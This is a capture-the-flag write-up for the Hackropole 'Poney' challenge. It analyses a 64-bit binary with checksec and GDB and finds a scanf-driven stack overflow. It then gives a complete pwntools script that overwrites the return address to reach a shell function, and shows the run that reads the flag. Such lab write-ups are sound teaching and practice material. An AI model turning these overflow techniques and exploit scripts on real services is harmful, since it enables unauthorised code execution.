Post

Poney | Hackropole

Poney | Hackropole

Poney

Ressources

Analysis

informations

1
2
3
4
5
6
file poney
poney: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=06fdfc3c264bdc167a0855288210c06e16ce805e, not stripped

checksec --file=poney
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable      FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   68 Symbols        No    0               1       poney
  • No canary

  • NX enabled

  • No PIE

First, lets read the code to see vulnerabilities.

in GDB we already know what will be the goal of the exploit :

1
2
3
gef➤  info functions
0x0000000000400676  shell
0x0000000000400689  main

I save the shell’s address for later.

Here the interesting main’s code :

1
2
3
4
5
lea    rax,[rbp-0x20] 
mov    rsi,rax
lea    rdi,[rip+0xea]        # 0x4007b5
mov    eax,0x0
call   0x400570 <__isoc99_scanf@plt>

The buffer is set with 32 bytes [0x20].

When doing a breakpoint on the scanf function, we see that the format string passed is %s.

1
2
3
4
b *__isoc99_scanf
r
─── registers ────
$rdi   : 0x00000000004007b5  →  0x443b031b01007325 ("%s"?)

It confirm that it will read until it encounter a null byte.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Give me the correct input, and I will give you a shell:
>>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD

0x00007fffffffd938│+0x0000: "CCCCCCCCDDDDDDDD"$rsp

x/x $rsp+8
0x7fffffffd940: 0x44444444

info frame
Stack level 0, frame at 0x7fffffffd940:
 rip = 0x4006db in main; saved rip = 0x4343434343434343
 Arglist at 0x4242424242424242, args:
 Locals at 0x4242424242424242, Previous frame's sp is 0x7fffffffd940
 Saved registers:
  rbp at 0x7fffffffd930, rip at 0x7fffffffd938

it confirm that we can control RIP with an offset off 40 bytes

Exploit

First, I prepare the payload :

1
2
3
4
5
    offset  = 32 + 8
    shell   = p64(0x0000000000400676)
    payload = b""
    payload += b"A" * offset
    payload += shell

To finish I just send the payload on the service and go interactive :

1
2
3
4
5
    print("[<]", target.recvuntil(b">>> "))
    
    print(f"[>] {payload}")
    target.sendline(payload)
    target.interactive()

Complete exploit :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3

from pwn import *
import argparse

def get_args():
    parser = argparse.ArgumentParser(add_help=False)
    parser.add_argument("-?", "--help",     action="help", help="show this help message and exit")
    parser.add_argument("-l", "--local",    help="File path to the binary", type=str)
    parser.add_argument("-p", "--port",     help="Remote port", type=int)
    parser.add_argument("-h", "--host",     help="Remote host", type=str)

    args = parser.parse_args()

    return args

def main(args):
    if args.local:
        target = process(args.local)
    elif args.host and args.port:
        target = remote(args.host, args.port)

    offset  = 32 + 8
    shell   = p64(0x0000000000400676)
    payload = b""
    payload += b"A" * offset
    payload += shell

    print("[<]", target.recvuntil(b">>> "))
    
    print(f"[>] {payload}")
    target.sendline(payload)
    target.interactive()
    
    exit(0)

if __name__ == "__main__":
    args = get_args()
    main(args)

Getting flag

1
2
3
4
5
6
7
8
./exploit.py -h 127.0.0.1 -p 4000

[+] Opening connection to 127.0.0.1 on port 4000: Done
[<] b'Give me the correct input, and I will give you a shell:\n>>> '
[>] b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv\x06@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ cat flag.txt
FCSC{725d.............}
This post is licensed under CC BY 4.0 by the author.